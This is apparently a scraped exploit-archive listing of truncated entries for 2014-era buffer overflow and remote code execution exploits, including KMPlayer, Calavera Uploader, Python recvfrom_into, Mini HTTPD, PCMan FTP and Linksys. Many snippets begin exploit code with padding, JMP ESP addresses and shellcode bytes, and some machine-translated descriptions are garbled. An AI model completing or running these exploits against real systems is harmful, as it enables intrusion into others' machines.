KMPlayer 3.8.0.117 - Buffer Overflow Exploit

Exploit for windows platform in category local exploits import struct def littleendianaddress: return struct.pack"L",address junk = "\x41" 250 eip = littleendian0x7C86467B 7C86467B FFE4 JMP ESP kernel32.dll shellcode= "\x31\xC9" // xor ecx,ecx "\x51" // push ecx "\x68\x63\x61\x6C\x63" // push...

Firefox Exec Shellcode from Privileged Javascript Shell

This module allows execution of native payloads from a privileged Firefox Javascript shell. It places the specified payload into memory, adds the necessary protection flags, and calls it, which can be useful for upgrading a Firefox javascript shell to a Meterpreter session without touching the...

GetGo Download Manager 4.9.0.1982 Buffer Overflow

!/usr/bin/python Exploit Title: GetGo Download Manager HTTP Response Header Buffer Overflow Remote Code Execution Version: v4.9.0.1982 CVE: CVE-2014-2206 Date: 2014-03-09 Author: Julien Ahrens @MrTuxracer Homepage: http://www.rcesecurity.com Software Link: http://www.getgosoft.com Tested on: WinX...

KMPlayer 3.8.0.117 Buffer Overflow

Exploit for windows platform in category local exploits !/usr/bin/python KMPlayer 3.8.0.117 Buffer Overflow Author: metacom Tested on: Windows Xp pro-sp3 En Download link :http://www.chip.de/downloads/KMPlayer33859258.html Version: 3.8.0.117 Kmp Plus Howto / Notes: Run KMPlayer Playlist Editor Ne...

Calavera Uploader 3.5 Buffer Overflow

exploit por Daniel - La Calavera Email: [email protected] Para CracksLatinoS relleno rell = "\x41" 477 rell1 = "\x42" 4000 head = "\x41" 8 head += "\x0d\x0a\x31\x0d\x0a" head1 = "\x0d\x0a" head2 = "170.1.1.0" head2 +="\x0d\x0a" head2 +="\x22" head2 +=...

Calavera UpLoader 3.5 - SEH Buffer Overflow Exploit

Exploit for windows platform in category local exploits rell = "\x41" 477 rell1 = "\x42" 4000 head = "\x41" 8 head += "\x0d\x0a\x31\x0d\x0a" head1 = "\x0d\x0a" head2 = "170.1.1.0" head2 +="\x0d\x0a" head2 +="\x22" head2 += "C:\Archivos2de2programa\Uploader!\Uploader!23151EXE" head2 +="\x22"...

Calavera UpLoader 3.5 - Local Buffer Overflow (SEH)

exploit por Daniel - La Calavera Email: [email protected] Para CracksLatinoS relleno rell = "\x41" 477 rell1 = "\x42" 4000 head = "\x41" 8 head += "\x0d\x0a\x31\x0d\x0a" head1 = "\x0d\x0a" head2 = "170.1.1.0" head2 +="\x0d\x0a" head2 +="\x22" head2 +=...

Linux Reboot

A very small shellcode for rebooting the system. This payload is sometimes helpful for testing purposes. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 32 include...

Notepad++ CCompletion Plugin 1.19 - Local Stack Buffer Overflow

Notepad++ CCompletion Plugin 1.19 - Local Stack Buffer Overflow Application:Notepad++ Version:6.5.2 UNICODE Get the application from: http://notepad-plus-plus.org/download/v6.5.2.html Plugin:CCompletion Version: Version 1.19 Unicode Get the plugin from:...

CVE2014-0 3 2 2 0Day Exploit analysis-exploit warning-the black bar safety net

Recently there was an IE 0day CVE-2 0 1 4-0 3 2 2is used to hang horse。 Although the vulnerability itself exists in IE,but in order to achieve success use,this sample also borrow a flash as an auxiliary,to break through the various protection. IE+flash combination also gives the analysis poses so...

Notepad++ CCompletion Plugin 1.19 - Local Stack Buffer Overflow

Application:Notepad++ Version:6.5.2 UNICODE Get the application from: http://notepad-plus-plus.org/download/v6.5.2.html Plugin:CCompletion Version: Version 1.19 Unicode Get the plugin from: http://sourceforge.net/apps/mediawiki/notepad-plus/index.php?title=PluginCentral Vulnerability:Stack buffer...

Python - socket.recvfrom_into() Remote Buffer Overflow

Python - socket.recvfrominto Remote Buffer Overflow !/usr/bin/env python ''' Exploit Title: python socket.recvfrominto remote buffer overflow Date: 21/02/2014 Exploit Author: @sha0coder Vendor Homepage: python.org Version: python2.7 and python3 Tested on: linux 32bit + python2.7 CVE : CVE-2014-19...

Python socket.recvfrom_into() remote buffer overflow exploit

Proof of concept, that demonstrated the remote exploitability of this python socket flaw, if the python code uses recvfrominto unsafelly. To avoid NX, ret2libc can be used thanx to !/usr/bin/env python ''' Exploit Title: python socket.recvfrominto remote buffer overflow Date: 21/02/2014 Exploit...

Mini HTTPD 1.21 - Stack Buffer Overflow POST Exploit

Mini HTTPd version 1.21 stack buffer overflow POST exploit for Windows XP SP3. !/usr/bin/python Title: Mini HTTPD stack buffer overflow POST exploit Author: TheColonial Date: 20 Feb 2013 Software Link: http://www.vector.co.jp/soft/winnt/net/se275154.html Vendor Homepage: http://www.picolix.jp/...

VideoCharge Studio 2.12.3.685 GetHttpResponse() - MITM Remote Code Execution Exploit

Exploit for windows platform in category remote exploits from socket import from struct import pack from time import sleep host = "192.168.0.1" port = 80 s = socketAFINET, SOCKSTREAM s.bindhost, port s.listen1 print "\n+ Listening on %d ..." % port cl, addr = s.accept print "+ Connection accepted...

VideoCharge Studio 2.12.3.685 - GetHttpResponse() Man In The Middle Remote Code Execution

VideoCharge Studio 2.12.3.685 - GetHttpResponse Man In The Middle Remote Code Execution !/usr/bin/python Exploit Title: VideoCharge Studio v2.12.3.685 GetHttpResponse MITM Remote Code Execution Exploit SafeSEH/ASLR/DEP Bypass Version: v2.12.3.685 Date: 2014-02-19 Author: Julien Ahrens @MrTuxracer...

PCMan's FTP Server 'ABOR'命令缓冲区溢出漏洞

BUGTRAQ ID: 65289 PCMan's FTP Server是简单易于的基础FTP服务器。 PCMan's FTP Server 2.07版本在处理特制的USER, PASS, STOR, ABOR, CWD命令时没有正确验证用户提供的输入，在实现上存在溢出漏洞，这可使远程攻击者造成拒绝服务，执行任意代码。 0 sourceforge PCMan's FTP Server 2.07 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://sourceforge.net/projects/pcmanftpd/ Exploit...

Interpretation of the Bible – exploits the intermediate level skills of analysis-vulnerability warning-the black bar safety net

Inscription: From the last update feel has been a long, long time, and what time less are excuses himself becomes the lazy's true, give us an apology, after the update will speed up, today do not speak the vulnerability analysis, with me to discuss the exploits of some of the principles on the...

PCMan's FTP Server 'CWD'命令缓冲区溢出漏洞

BUGTRAQ ID: 65299 PCMan's FTP Server是简单易于的基础FTP服务器。 PCMan's FTP Server 2.07版本在处理特制的USER, PASS, STOR, ABOR, CWD命令时没有正确验证用户提供的输入，在实现上存在溢出漏洞，这可使远程攻击者造成拒绝服务，执行任意代码。 0 sourceforge PCMan's FTP Server 2.07 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://sourceforge.net/projects/pcmanftpd/ Exploit...

Linksys系列未明远程代码执行漏洞

No description provided by source. !/usr/bin/php ?php / Exploit for 0day linksys unauthenticated remote code execution vulnerability. As exploited by TheMoon worm; Discovered in the wild on Feb 13, 2013 by Johannes Ullrich. I was hoping this would stay under-wraps until a firmware patch could be...